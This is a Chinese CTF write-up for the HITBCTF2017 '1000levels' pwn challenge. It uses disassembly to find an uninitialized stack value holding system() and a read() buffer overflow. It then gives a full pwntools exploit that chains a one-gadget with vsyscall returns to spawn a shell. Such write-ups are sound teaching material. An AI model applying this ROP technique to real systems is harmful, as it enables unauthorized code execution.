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495 lines
23 KiB
Markdown
495 lines
23 KiB
Markdown
# 6.1.16 pwn HITBCTF2017 1000levels
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- [题目复现](#题目复现)
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- [题目解析](#题目解析)
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- [漏洞利用](#漏洞利用)
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- [参考资料](#参考资料)
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[下载文件](../src/writeup/6.1.16_pwn_hitbctf2017_1000levels)
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## 题目复现
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```
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$ file 1000levels
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1000levels: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=d0381dfa29216ed7d765936155bbaa3f9501283a, not stripped
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$ checksec -f 1000levels
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RELRO STACK CANARY NX PIE RPATH RUNPATH FORTIFY Fortified Fortifiable FILE
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Partial RELRO No canary found NX enabled PIE enabled No RPATH No RUNPATH No 0 6 1000levels
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$ strings libc.so.6 | grep "GNU C"
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GNU C Library (Ubuntu GLIBC 2.23-0ubuntu9) stable release version 2.23, by Roland McGrath et al.
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Compiled by GNU CC version 5.4.0 20160609.
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```
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关闭了 Canary，开启 NX 和 PIE。于是猜测可能是栈溢出，但需要绕过 ASLR。not stripped 可以说是很开心了。
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玩一下：
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```
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$ ./1000levels
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Welcome to 1000levels, it's much more diffcult than before.
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1. Go
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2. Hint
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3. Give up
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Choice:
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1
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How many levels?
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0
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Coward
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Any more?
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1
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Let's go!'
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====================================================
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Level 1
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Question: 0 * 0 = ? Answer:0
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Great job! You finished 1 levels in 1 seconds
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```
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Go 的功能看起来就是让你先输入一个数，然后再输入一个数，两个数相加作为 levels，然后让你做算术。
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但是很奇怪的是，如果你使用了 Hint 功能，然后第一个数输入了 0 的时候，无论第二个数是多少，仿佛都会出现无限多的 levels：
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```
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$ ./1000levels
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Welcome to 1000levels, it's much more diffcult than before.
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1. Go
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2. Hint
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3. Give up
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Choice:
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2
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NO PWN NO FUN
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1. Go
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2. Hint
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3. Give up
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Choice:
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1
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How many levels?
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0
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Coward
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Any more?
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1
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More levels than before!
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Let's go!'
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====================================================
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Level 1
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Question: 0 * 0 = ? Answer:0
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====================================================
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Level 2
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Question: 1 * 1 = ? Answer:1
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====================================================
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Level 3
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Question: 1 * 1 = ? Answer:1
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====================================================
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Level 4
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Question: 3 * 1 = ? Answer:
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```
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所以应该重点关注一下 Hint 功能。
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## 题目解析
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程序比较简单，基本上只有 Go 和 Hint 两个功能。
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#### hint
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先来看 hint：
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```
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[0x000009d0]> pdf @ sym.hint
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/ (fcn) sym.hint 140
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| sym.hint ();
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| ; var int local_110h @ rbp-0x110
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| ; CALL XREF from 0x00000fa6 (main)
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| 0x00000cf0 push rbp
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| 0x00000cf1 mov rbp, rsp
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| 0x00000cf4 sub rsp, 0x110 ; 开辟栈空间 rsp - 0x110
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| 0x00000cfb mov rax, qword [reloc.system] ; [0x201fd0:8]=0
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| 0x00000d02 mov qword [local_110h], rax ; 将 system 地址放到栈顶 [local_110h]
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| 0x00000d09 lea rax, obj.show_hint ; 0x20208c
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| 0x00000d10 mov eax, dword [rax] ; 取出 show_hint
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| 0x00000d12 test eax, eax
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| ,=< 0x00000d14 je 0xd41 ; 当 show_hint 为 0 时
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| | 0x00000d16 mov rax, qword [local_110h] ; 否则继续
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| | 0x00000d1d lea rdx, [local_110h]
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| | 0x00000d24 lea rcx, [rdx + 8]
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| | 0x00000d28 mov rdx, rax
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| | 0x00000d2b lea rsi, str.Hint:__p ; 0x111d ; "Hint: %p\n"
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| | 0x00000d32 mov rdi, rcx
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| | 0x00000d35 mov eax, 0
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| | 0x00000d3a call sym.imp.sprintf ; 将 system 地址复制到 [local_110h+0x8]
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| ,==< 0x00000d3f jmp 0xd66
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| || ; JMP XREF from 0x00000d14 (sym.hint)
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| |`-> 0x00000d41 lea rax, [local_110h]
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| | 0x00000d48 add rax, 8 ; 将 "NO PWN NO FUN" 复制到 [local_110h+0x8]
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| | 0x00000d4c movabs rsi, 0x4e204e5750204f4e
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| | 0x00000d56 mov qword [rax], rsi
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| | 0x00000d59 mov dword [rax + 8], 0x5546204f ; [0x5546204f:4]=-1
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| | 0x00000d60 mov word [rax + 0xc], 0x4e ; 'N' ; [0x4e:2]=0
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| | ; JMP XREF from 0x00000d3f (sym.hint)
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| `--> 0x00000d66 lea rax, [local_110h]
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| 0x00000d6d add rax, 8
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| 0x00000d71 mov rdi, rax
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| 0x00000d74 call sym.imp.puts ; 打印出 [local_110h+0x8]
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| 0x00000d79 nop
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| 0x00000d7a leave
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\ 0x00000d7b ret
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[0x000009d0]> ir~system
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vaddr=0x00201fd0 paddr=0x00001fd0 type=SET_64 system
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[0x000009d0]> is~show_hint
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051 0x0000208c 0x0020208c GLOBAL OBJECT 4 show_hint
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```
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可以看到 `system()` 的地址被复制到栈上（`local_110h`），然后对全局变量 `show_hint` 进行判断，如果为 0，打印字符串 “NO PWN NO FUN”，否则打印 `system()` 的地址。
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为了绕过 ASLR，我们需要信息泄漏，如果能够修改 `show_hint`，那我们就可以得到 `system()` 的地址。但是 `show_hint` 放在 `.bss` 段上，程序开启了 PIE，地址随机无法修改。
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#### go
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继续看 go：
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```
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[0x000009d0]> pdf @ sym.go
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/ (fcn) sym.go 372
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| sym.go ();
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| ; var int local_120h @ rbp-0x120
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| ; var int local_118h @ rbp-0x118
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| ; var int local_114h @ rbp-0x114
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| ; var int local_110h @ rbp-0x110
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| ; var int local_108h @ rbp-0x108
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| ; CALL XREF from 0x00000f9f (main)
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| 0x00000b7c push rbp
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| 0x00000b7d mov rbp, rsp
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| 0x00000b80 sub rsp, 0x120 ; 开辟栈空间 rsp - 0x120
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| 0x00000b87 lea rdi, str.How_many_levels ; 0x1094 ; "How many levels?"
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| 0x00000b8e call sym.imp.puts ; int puts(const char *s)
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| 0x00000b93 call sym.read_num ; ssize_t read(int fildes, void *buf, size_t nbyte)
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| 0x00000b98 mov qword [local_120h], rax ; 读入第一个数 num1 放到 [local_120h]
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| 0x00000b9f mov rax, qword [local_120h]
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| 0x00000ba6 test rax, rax
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| ,=< 0x00000ba9 jg 0xbb9 ; num1 大于 0 时跳转
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| | 0x00000bab lea rdi, str.Coward ; 0x10a5 ; "Coward"
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| | 0x00000bb2 call sym.imp.puts ; int puts(const char *s)
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| ,==< 0x00000bb7 jmp 0xbc7
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| || ; JMP XREF from 0x00000ba9 (sym.go)
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| |`-> 0x00000bb9 mov rax, qword [local_120h]
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| | 0x00000bc0 mov qword [local_110h], rax ; num1 放到 [local_110h]
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| | ; JMP XREF from 0x00000bb7 (sym.go)
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| `--> 0x00000bc7 lea rdi, str.Any_more ; 0x10ac ; "Any more?"
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| 0x00000bce call sym.imp.puts ; int puts(const char *s)
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| 0x00000bd3 call sym.read_num ; ssize_t read(int fildes, void *buf, size_t nbyte)
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| 0x00000bd8 mov qword [local_120h], rax ; 读入第二个数 num2 到 [local_120h]
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| 0x00000bdf mov rdx, qword [local_110h]
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| 0x00000be6 mov rax, qword [local_120h]
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| 0x00000bed add rax, rdx ; 两个数的和 num3 = num1 + num2
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| 0x00000bf0 mov qword [local_110h], rax
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| 0x00000bf7 mov rax, qword [local_110h]
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| 0x00000bfe test rax, rax
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| ,=< 0x00000c01 jg 0xc14 ; num3 大于 0 时跳转
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| | 0x00000c03 lea rdi, str.Coward ; 0x10a5 ; "Coward"
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| | 0x00000c0a call sym.imp.puts ; int puts(const char *s)
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| ,==< 0x00000c0f jmp 0xcee
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| |`-> 0x00000c14 mov rax, qword [local_110h]
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| | 0x00000c1b cmp rax, 0x3e7 ; num3 与 999 比较
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| |,=< 0x00000c21 jle 0xc3c ; num3 小于等于 999 时
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| || 0x00000c23 lea rdi, str.More_levels_than_before ; 0x10b6 ; "More levels than before!"
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| || 0x00000c2a call sym.imp.puts ; int puts(const char *s)
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| || 0x00000c2f mov qword [local_108h], 0x3e8 ; 将 num3 设为最大值 1000
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| ,===< 0x00000c3a jmp 0xc4a
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| ||| ; JMP XREF from 0x00000c21 (sym.go)
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| ||`-> 0x00000c3c mov rax, qword [local_110h]
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| || 0x00000c43 mov qword [local_108h], rax ; 把 num3 放到 [local_108h]
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| || ; JMP XREF from 0x00000c3a (sym.go)
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| `---> 0x00000c4a lea rdi, str.Let_s_go ; 0x10cf ; "Let's go!'"
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| | 0x00000c51 call sym.imp.puts ; int puts(const char *s)
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| | 0x00000c56 mov edi, 0
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| | 0x00000c5b call sym.imp.time ; time_t time(time_t *timer)
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| | 0x00000c60 mov dword [local_118h], eax
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| | 0x00000c66 mov rax, qword [local_108h]
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| | 0x00000c6d mov edi, eax ; rdi = num3
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| | 0x00000c6f call sym.level_int ; 进入计算题游戏
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| | 0x00000c74 test eax, eax
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| | 0x00000c76 setne al
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| | 0x00000c79 test al, al
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| |,=< 0x00000c7b je 0xcd8 ; 返回值为 0 时跳转，游戏失败
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| || 0x00000c7d mov edi, 0 ; 否则游戏成功
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| || 0x00000c82 call sym.imp.time ; time_t time(time_t *timer)
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| || 0x00000c87 mov dword [local_114h], eax
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| || 0x00000c8d mov edx, dword [local_114h]
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| || 0x00000c93 mov eax, dword [local_118h]
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| || 0x00000c99 sub edx, eax
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| || 0x00000c9b mov rax, qword [local_108h]
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| || 0x00000ca2 lea rcx, [local_120h]
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| || 0x00000ca9 lea rdi, [rcx + 0x20] ; "@"
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| || 0x00000cad mov ecx, edx
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| || 0x00000caf mov rdx, rax
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| || 0x00000cb2 lea rsi, str.Great_job__You_finished__d_levels_in__d_seconds ; 0x10e0 ; "Great job! You finished %d levels in %d seconds\n"
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| || 0x00000cb9 mov eax, 0
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| || 0x00000cbe call sym.imp.sprintf ; int sprintf(char *s,
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| || 0x00000cc3 lea rax, [local_120h]
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| || 0x00000cca add rax, 0x20
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| || 0x00000cce mov rdi, rax
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| || 0x00000cd1 call sym.imp.puts ; int puts(const char *s)
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| ,===< 0x00000cd6 jmp 0xce4
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| ||| ; JMP XREF from 0x00000c7b (sym.go)
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| ||`-> 0x00000cd8 lea rdi, str.You_failed. ; 0x1111 ; "You failed."
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| || 0x00000cdf call sym.imp.puts ; int puts(const char *s)
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| || ; JMP XREF from 0x00000cd6 (sym.go)
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| `---> 0x00000ce4 mov edi, 0
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| | 0x00000ce9 call sym.imp.exit ; void exit(int status)
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| | ; JMP XREF from 0x00000c0f (sym.go)
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| `--> 0x00000cee leave
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\ 0x00000cef ret
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```
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可以看到第一个数 num1 被读到 `local_120h`，如果大于 0，num1 被复制到 `local_110h`，然后读取第二个数 num2 到 `local_120h`，将两个数相加再存到 `local_110h`。但是如果 num1 小于等于 0，程序会直接执行读取 num2 到 `local_120h` 的操作，然后读取 `local_110h` 的数值作为 num1，将两数相加。整个过程都没有对 `local_110h` 进行初始化，程序似乎默认了 `local_110h` 的值是 0，然而事实并非如此。回想一下 hint 操作，放置 system 的地址正是 `local_110h`（两个函数的rbp相同）。这是一个内存未初始化造成的漏洞。
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接下来，根据两数相加的和，程序有三条路径，如果和小于 0，程序返回到开始菜单；如果和大于 0 且小于 1000，进入游戏；如果和大于 1000，则将其设置为最大值 1000，进入游戏。
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然后来看游戏函数 `sym.level_int()`：
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```
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[0x000009d0]> pdf @ sym.level_int
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/ (fcn) sym.level_int 289
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| sym.level_int ();
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| ; var int local_34h @ rbp-0x34
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| ; var int local_30h @ rbp-0x30
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| ; var int local_28h @ rbp-0x28
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| ; var int local_20h @ rbp-0x20
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| ; var int local_18h @ rbp-0x18
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| ; var int local_10h @ rbp-0x10
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| ; var int local_ch @ rbp-0xc
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| ; var int local_8h @ rbp-0x8
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| ; var int local_4h @ rbp-0x4
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| ; CALL XREF from 0x00000c6f (sym.go)
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| ; CALL XREF from 0x00000e70 (sym.level_int)
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| 0x00000e2d push rbp
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| 0x00000e2e mov rbp, rsp
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| 0x00000e31 sub rsp, 0x40 ; '@'
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| 0x00000e35 mov dword [local_34h], edi ; 将 level 存到 [local_34h]
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| 0x00000e38 mov qword [local_30h], 0
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| 0x00000e40 mov qword [local_28h], 0
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| 0x00000e48 mov qword [local_20h], 0
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| 0x00000e50 mov qword [local_18h], 0
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| 0x00000e58 cmp dword [local_34h], 0
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| ,=< 0x00000e5c jne 0xe68 ; level 不等于 0 时继续
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| | 0x00000e5e mov eax, 1
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| ,==< 0x00000e63 jmp 0xf4c ; 否则函数返回 1
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| || ; JMP XREF from 0x00000e5c (sym.level_int)
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| |`-> 0x00000e68 mov eax, dword [local_34h]
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| | 0x00000e6b sub eax, 1 ; level = level - 1
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| | 0x00000e6e mov edi, eax
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| | 0x00000e70 call sym.level_int ; 递归调用游戏函数
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| | 0x00000e75 test eax, eax
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| | 0x00000e77 sete al
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| | 0x00000e7a test al, al
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| |,=< 0x00000e7c je 0xe88 ; 返回值为 1 时继续
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| || 0x00000e7e mov eax, 0
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| ,===< 0x00000e83 jmp 0xf4c ; 否则函数结束返回 0
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| ||| ; JMP XREF from 0x00000e7c (sym.level_int)
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| ||`-> 0x00000e88 call sym.imp.rand ; int rand(void)
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| || 0x00000e8d cdq
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| || 0x00000e8e idiv dword [local_34h]
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| || 0x00000e91 mov dword [local_8h], edx
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| || 0x00000e94 call sym.imp.rand ; int rand(void)
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| || 0x00000e99 cdq
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| || 0x00000e9a idiv dword [local_34h]
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| || 0x00000e9d mov dword [local_ch], edx
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| || 0x00000ea0 mov eax, dword [local_8h]
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| || 0x00000ea3 imul eax, dword [local_ch]
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| || 0x00000ea7 mov dword [local_10h], eax ; 将正确答案放到 [local_10h]
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| || 0x00000eaa lea rdi, str. ; 0x1160 ; "===================================================="
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| || 0x00000eb1 call sym.imp.puts ; int puts(const char *s)
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| || 0x00000eb6 mov eax, dword [local_34h]
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| || 0x00000eb9 mov esi, eax
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| || 0x00000ebb lea rdi, str.Level__d ; 0x1195 ; "Level %d\n"
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| || 0x00000ec2 mov eax, 0
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| || 0x00000ec7 call sym.imp.printf ; int printf(const char *format)
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| || 0x00000ecc mov edx, dword [local_ch]
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| || 0x00000ecf mov eax, dword [local_8h]
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| || 0x00000ed2 mov esi, eax
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| || 0x00000ed4 lea rdi, str.Question:__d____d_____Answer: ; 0x119f ; "Question: %d * %d = ? Answer:"
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| || 0x00000edb mov eax, 0
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| || 0x00000ee0 call sym.imp.printf ; int printf(const char *format)
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| || 0x00000ee5 lea rax, [local_30h] ; 读取输入到 [local_30h]
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| || 0x00000ee9 mov edx, 0x400
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| || 0x00000eee mov rsi, rax
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| || 0x00000ef1 mov edi, 0
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| || 0x00000ef6 call sym.imp.read ; read(0, local_30h, 0x400)
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| || 0x00000efb mov dword [local_4h], eax ; 返回值放到 [local_4h]，即读取字节数
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| || ; JMP XREF from 0x00000f16 (sym.level_int)
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| ||.-> 0x00000efe mov eax, dword [local_4h]
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| ||: 0x00000f01 and eax, 7 ; 取出低 3 位
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| ||: 0x00000f04 test eax, eax
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| ,====< 0x00000f06 je 0xf18 ; 为 0 时跳转，即 8 的倍数
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| |||: 0x00000f08 mov eax, dword [local_4h]
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| |||: 0x00000f0b cdqe
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| |||: 0x00000f0d mov byte [rbp + rax - 0x30], 0 ; 在字符串末尾加上 0
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| |||: 0x00000f12 add dword [local_4h], 1
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| |||`=< 0x00000f16 jmp 0xefe ; 循环
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| ||| ; JMP XREF from 0x00000f06 (sym.level_int)
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| `----> 0x00000f18 lea rax, [local_30h]
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| || 0x00000f1c mov edx, 0xa
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| || 0x00000f21 mov esi, 0
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| || 0x00000f26 mov rdi, rax
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| || 0x00000f29 call sym.imp.strtol ; long strtol(const char *str, char**endptr, int base)
|
||
| || 0x00000f2e mov rdx, rax
|
||
| || 0x00000f31 mov eax, dword [local_10h]
|
||
| || 0x00000f34 cdqe
|
||
| || 0x00000f36 cmp rdx, rax ; 将输入答案与正确答案相比较
|
||
| || 0x00000f39 sete al ; 相等时设置 al 为 1
|
||
| || 0x00000f3c test al, al
|
||
| ||,=< 0x00000f3e je 0xf47 ; 返回值为 0
|
||
| ||| 0x00000f40 mov eax, 1
|
||
| ,====< 0x00000f45 jmp 0xf4c ; 返回值为 1
|
||
| |||| ; JMP XREF from 0x00000f3e (sym.level_int)
|
||
| |||`-> 0x00000f47 mov eax, 0
|
||
| ||| ; JMP XREF from 0x00000f45 (sym.level_int)
|
||
| ||| ; JMP XREF from 0x00000e83 (sym.level_int)
|
||
| ||| ; JMP XREF from 0x00000e63 (sym.level_int)
|
||
| ```--> 0x00000f4c leave
|
||
\ 0x00000f4d ret
|
||
```
|
||
可以看到 `read()` 函数有一个很明显的栈溢出漏洞，`local_30h` 并没有 `0x400` 这么大的空间。由于游戏是递归的，所以我们需要答对前 999 道题，在最后一题时溢出，构造 ROP。
|
||
|
||
|
||
## 漏洞利用
|
||
总结一下，程序存在两个漏洞：
|
||
- hint 函数将 system 放到栈上，而 go 函数在使用该地址时未进行初始化
|
||
- level 函数存在栈溢出
|
||
|
||
关于利用的问题也有两个：
|
||
- 虽然 system 被放到了栈上，但我们不能设置其参数
|
||
- 程序开启了 PIE，但没有可以进行信息泄漏的漏洞
|
||
|
||
对于第一个问题，我们有不需要参数的 one-gadget 可以用，通过将输入的第二个数设置为偏移，即可通过程序的计算将 system 修改为 one-gadget。
|
||
```
|
||
$ one_gadget libc.so.6
|
||
0x45216 execve("/bin/sh", rsp+0x30, environ)
|
||
constraints:
|
||
rax == NULL
|
||
|
||
0x4526a execve("/bin/sh", rsp+0x30, environ)
|
||
constraints:
|
||
[rsp+0x30] == NULL
|
||
|
||
0xf0274 execve("/bin/sh", rsp+0x50, environ)
|
||
constraints:
|
||
[rsp+0x50] == NULL
|
||
|
||
0xf1117 execve("/bin/sh", rsp+0x70, environ)
|
||
constraints:
|
||
[rsp+0x70] == NULL
|
||
```
|
||
这里我们选择 `0x4526a` 地址上的 one-gadget。
|
||
|
||
第二个问题，在随机化的情况下怎么找到可用的 `ret` gadget？这时候可以利用 vsyscall，这是一个固定的地址。（参考章节4.15）
|
||
```
|
||
gdb-peda$ vmmap vsyscall
|
||
Start End Perm Name
|
||
0xffffffffff600000 0xffffffffff601000 r-xp [vsyscall]
|
||
gdb-peda$ x/5i 0xffffffffff600000
|
||
0xffffffffff600000: mov rax,0x60
|
||
0xffffffffff600007: syscall
|
||
0xffffffffff600009: ret
|
||
0xffffffffff60000a: int3
|
||
0xffffffffff60000b: int3
|
||
```
|
||
但我们必须跳到 vsyscall 的开头，而不能直接跳到 ret，这是内核决定的。
|
||
|
||
最后一次的 payload 和调试结果如下：
|
||
```
|
||
gdb-peda$ x/11gx 0x7fffffffec10-0x50
|
||
0x7fffffffebc0: 0x4141414141414141 0x4141414141414141 <-- rbp -0x30
|
||
0x7fffffffebd0: 0x4141414141414141 0x4141414141414141
|
||
0x7fffffffebe0: 0x4141414141414141 0x4141414141414141
|
||
0x7fffffffebf0: 0x4242424242424242 0xffffffffff600000 <-- rbp <-- ret
|
||
0x7fffffffec00: 0xffffffffff600000 0xffffffffff600000 <-- ret <-- ret
|
||
0x7fffffffec10: 0x00007ffff7a5226a <-- one-gadget
|
||
```
|
||
```
|
||
gdb-peda$ ni
|
||
[----------------------------------registers-----------------------------------]
|
||
RAX: 0x0
|
||
RBX: 0x0
|
||
RCX: 0xa ('\n')
|
||
RDX: 0x0
|
||
RSI: 0x0
|
||
RDI: 0x7fffffffebc0 ('A' <repeats 44 times>, "P")
|
||
RBP: 0x4242424242424242 ('BBBBBBBB')
|
||
RSP: 0x7fffffffebf8 --> 0xffffffffff600000 (mov rax,0x60)
|
||
RIP: 0x555555554f4d (<_Z5leveli+288>: ret)
|
||
R8 : 0x0
|
||
R9 : 0x1999999999999999
|
||
R10: 0x0
|
||
R11: 0x7ffff7b845a0 --> 0x2000200020002
|
||
R12: 0x5555555549d0 (<_start>: xor ebp,ebp)
|
||
R13: 0x7fffffffee40 --> 0x1
|
||
R14: 0x0
|
||
R15: 0x0
|
||
EFLAGS: 0x246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow)
|
||
[-------------------------------------code-------------------------------------]
|
||
0x555555554f45 <_Z5leveli+280>: jmp 0x555555554f4c <_Z5leveli+287>
|
||
0x555555554f47 <_Z5leveli+282>: mov eax,0x0
|
||
0x555555554f4c <_Z5leveli+287>: leave
|
||
=> 0x555555554f4d <_Z5leveli+288>: ret
|
||
0x555555554f4e <main>: push rbp
|
||
0x555555554f4f <main+1>: mov rbp,rsp
|
||
0x555555554f52 <main+4>: sub rsp,0x30
|
||
0x555555554f56 <main+8>: mov QWORD PTR [rbp-0x30],0x0
|
||
[------------------------------------stack-------------------------------------]
|
||
0000| 0x7fffffffebf8 --> 0xffffffffff600000 (mov rax,0x60)
|
||
0008| 0x7fffffffec00 --> 0xffffffffff600000 (mov rax,0x60)
|
||
0016| 0x7fffffffec08 --> 0xffffffffff600000 (mov rax,0x60)
|
||
0024| 0x7fffffffec10 --> 0x7ffff7a5226a (mov rax,QWORD PTR [rip+0x37ec47] # 0x7ffff7dd0eb8)
|
||
0032| 0x7fffffffec18 --> 0x3e8
|
||
0040| 0x7fffffffec20 --> 0x4e5546204f ('O FUN')
|
||
0048| 0x7fffffffec28 --> 0xff0000
|
||
0056| 0x7fffffffec30 --> 0x0
|
||
[------------------------------------------------------------------------------]
|
||
Legend: code, data, rodata, value
|
||
0x0000555555554f4d in level(int) ()
|
||
```
|
||
三次 return 之后，就会跳到 one-gadget 上去。
|
||
|
||
Bingo!!!
|
||
```
|
||
$ python exp.py
|
||
[+] Starting local process './1000levels': pid 6901
|
||
[*] Switching to interactive mode
|
||
$ whoami
|
||
firmy
|
||
```
|
||
|
||
#### exploit
|
||
完整的 exp 如下：
|
||
```python
|
||
#!/usr/bin/env python
|
||
|
||
from pwn import *
|
||
|
||
#context.log_level = 'debug'
|
||
io = process(['./1000levels'], env={'LD_PRELOAD':'./libc.so.6'})
|
||
|
||
one_gadget = 0x4526a
|
||
system_offset = 0x45390
|
||
ret_addr = 0xffffffffff600000
|
||
|
||
def go(levels, more):
|
||
io.sendlineafter("Choice:\n", '1')
|
||
io.sendlineafter("levels?\n", str(levels))
|
||
io.sendlineafter("more?\n", str(more))
|
||
|
||
def hint():
|
||
io.sendlineafter("Choice:\n", '2')
|
||
|
||
if __name__ == "__main__":
|
||
hint()
|
||
go(0, one_gadget - system_offset)
|
||
|
||
for i in range(999):
|
||
io.recvuntil("Question: ")
|
||
a = int(io.recvuntil(" ")[:-1])
|
||
io.recvuntil("* ")
|
||
b = int(io.recvuntil(" ")[:-1])
|
||
io.sendlineafter("Answer:", str(a * b))
|
||
|
||
payload = 'A' * 0x30 # buffer
|
||
payload += 'B' * 0x8 # rbp
|
||
payload += p64(ret_addr) * 3
|
||
io.sendafter("Answer:", payload)
|
||
|
||
io.interactive()
|
||
```
|
||
|
||
|
||
## 参考资料
|
||
- https://ctftime.org/task/4539
|